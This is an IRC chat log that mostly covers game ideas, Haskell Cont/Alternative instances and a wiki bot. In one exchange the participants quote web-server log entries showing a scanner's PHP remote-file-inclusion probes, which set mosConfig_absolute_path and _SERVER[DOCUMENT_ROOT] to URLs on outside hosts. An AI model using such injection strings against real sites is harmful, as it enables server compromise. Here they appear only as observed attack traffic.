23:02:07 <zzo38> Such as, sometimes I play Dungeons & Dragons game.
23:03:19 <itidus21> i don't understand my own life really.
23:03:40 <elliott> 61.250.80.133 - - [16/Mar/2012:22:55:50 +0000] "GET /user/soapCaller.bs HTTP/1.1" 404 142 "-" "Morfeus Fucking Scanner"
23:03:46 <itidus21> just as it's possible for a novice to not understand the game of tictactoe they're playing..
23:04:04 <itidus21> but an outside observer can see whats going on with it
23:04:32 <itidus21> it all feels quite random to me
23:05:10 <itidus21> that would be the learned helplessness talking, unless i subconciously know that and am just pretending to have learned helplessness
23:05:36 <fizzie> elliott: $ grep -ic 'morfeus fucking' zem.fi-access.log
23:06:08 <elliott> fizzie: I mean, "Morfeus Fucking Scanner" is a pretty badass name.
23:06:21 <fizzie> It is, but I'm not sure how to group it.
23:06:39 <fizzie> I mean, is it Morfeus (Fucking Scanner) or is it just Fucking for emphasis.
23:07:00 <elliott> Fucking is the middle name.
23:07:06 <elliott> Morfeus F. Scanner in polite company.
23:07:16 <elliott> Not that Morfeus Fucking Scanner really "does" polite company.
23:07:39 <fizzie> Sometimes Morfeus F. (or Uncle Fuck) goes for /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://makina.org/sugarfree/1.gif?/ or others instead, it seems.
23:07:39 <oerjan> <elliott> oerjan: would a bot in here that announces wiki changes be nice. <-- hm why not.
23:07:44 <zzo38> I thought of a poker game with Pokemon cards. You play like Texas Hold'em, using a deck that does not contain any basic energy cards. After the betting is finished, each player gets a duplicate of all five community cards, and the two cards in their hand, become their initial hand. You can then bid on basic energy cards the remainder of your starting draw pile.
23:08:12 <elliott> http://makina.org/sugarfree/1.gif ;; aww, 404.
23:08:19 <zzo38> fizzie: That must be something trying to exploit PHP register_globals isn't it?
23:08:21 <elliott> Even http://makina.org/sugarfree/ is 404.
23:08:44 <elliott> oerjan: well it would be fun if we got a spam wave
23:09:20 <fizzie> zzo38: Likely something like that. There's also another doing /?_SERVER[DOCUMENT_ROOT]=http://87.119.200.140/include/template/templates_c/1.gif?/ which I think is also trying to trick some server to act as an open proxy.
23:11:06 <oerjan> <itidus21> that would be the learned helplessness talking [...] <-- this reminds of that recent link on mezzacotta: http://lesswrong.com/lw/ar2/biased_pandemic
23:11:41 <zzo38> Do you like my idea of Ibtlfmm allowing the main to be of any type instead of only IO? (but to make a standalone executable it still has to be either (IO ()) or (unsafe "c_int(c_int,c_char**)"), otherwise you can make a dynamically loadable file but not a standalone executable)
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23:13:11 <zzo38> (If the computer has "int" being 32-bits and "char" being 8-bits, then you can also use (unsafe "i32(i32,i8**)") as the type of main)
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23:19:57 <Sgeo> Common Lisp feels more ... static-checky than PHP
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23:25:11 <itidus21> oerjan: i think that is really quite profound
23:26:20 <oerjan> especially the idea of eventually getting so subtle about it that the players will guess your _real_ biases instead.
23:26:55 <oerjan> oh that involved the "No Bias" card, iirc
23:28:02 <itidus21> i like the idea that people can actually learn something from playing a game
23:28:58 <oerjan> zzo38: see the link i gave to the game
23:29:00 <itidus21> also... the way it subverts the investment in winning and losing
23:30:16 <zzo38> I think if (r) is Monoid and (m) is Applicative, there is a way to get a free Alternative instance for (ContT r m)
23:31:11 <Sgeo> elliott, tswett monqy update
23:31:20 <Sgeo> Phantom_Hoover,
23:31:50 <oerjan> zzo38: oh hm there were no actual cards with the biases, they just used ordinary playing cards for random selection. although surely you could make cards for the biases instead.
23:33:21 <Phantom_Hoover> KANAYA: I Feel As Though This Conversation Has Utterly Outmaneuvered My Constructive Involvement
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23:34:03 <zzo38> empty = ContT . const $ pure mempty; ContT x <|> ContT y = ContT $ \z -> liftA2 mappend (x z) (y z);
23:35:05 <fizzie> "Ouch! Got SIGTERM, dying..eeze1) ..." --aptitude.
23:35:06 <elliott> that lambda is (liftA2 . liftA2) mappend x y.
23:35:41 <elliott> fizzie: I think you broke it.
23:40:26 <zzo38> And I think that if (r) is a ring then so is (Cont r a) although it is not necessarily a computable ring.
23:41:15 <oerjan> zzo38: i wonder if that's essentially the trick they use to emulate things like the list monad with continuations
23:42:02 <elliott> oerjan: "things like"? you can do any monad with Cont
23:42:23 <oerjan> elliott: well yes, but the list monad might turn into something like that?
23:43:40 <zzo38> oerjan: I don't know.
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23:47:19 <elliott> oerjan: what should the recent changes bot be called.
23:50:33 <elliott> no. but i will elect you POTUS if you don't answer.
23:50:59 <oerjan> that's going to be an impressive achievement.
23:51:41 <oerjan> or was there a hyphen in that
23:51:52 <elliott> this is not a coincidence.
23:52:06 <elliott> speaking of which, i never did get around to writing cs-words.
23:53:10 <elliott> that sounds significantly more difficult.
23:54:51 <zzo38> oerjan: I cannot see how you can use the things like I have specified, to emulate things like a list monad with continuations
23:55:03 <elliott> oerjan: i was looking for an actually meaningful name, btw :p
23:55:19 <oerjan> elliott: suggestion 2: eso-ham
23:56:31 <Sgeo> How hard would it be to decrypt my encrypted ~ stuff on Windows?
23:58:05 <elliott> you could attach the device to a VM I suppose.